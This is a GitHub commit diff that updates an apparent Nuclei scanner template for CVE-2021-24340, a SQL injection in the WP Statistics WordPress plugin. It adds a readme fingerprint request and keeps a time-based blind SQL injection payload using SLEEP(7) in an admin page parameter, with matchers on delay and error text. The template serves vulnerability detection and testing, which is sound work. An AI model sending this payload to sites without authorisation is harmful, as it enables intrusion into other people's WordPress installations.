Update CVE-2021-24340.yaml

patch-1
J4vaovo 2023-06-13 00:41:40 +08:00 committed by GitHub
parent 1109267734
commit 31142ad048
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 14 additions and 3 deletions

View File

@ -24,15 +24,26 @@ info:
http:
- raw:
- |
GET /wp-content/plugins/wp-statistics/readme.txt HTTP/1.1
Host: {{Hostname}}
- |
@timeout: 15s
GET /wp-admin/admin.php?page=wps_pages_page&ID=0+AND+(SELECT+1+FROM+(SELECT(SLEEP(7)))test)&type=home HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: dsl
dsl:
- 'duration>=7'
- 'status_code == 500'
- 'contains(body, ">WordPress &rsaquo; Error<") && contains(body, ">Your request is not valid.<")'
- 'status_code_1 == 200'
- 'contains(body_1, "WP Statistics")'
condition: and
- type: dsl
dsl:
- 'duration_2>=7'
- 'status_code_2 == 500'
- 'contains(body_2, ">WordPress &rsaquo; Error<") && contains(body_2, ">Your request is not valid.<")'
condition: and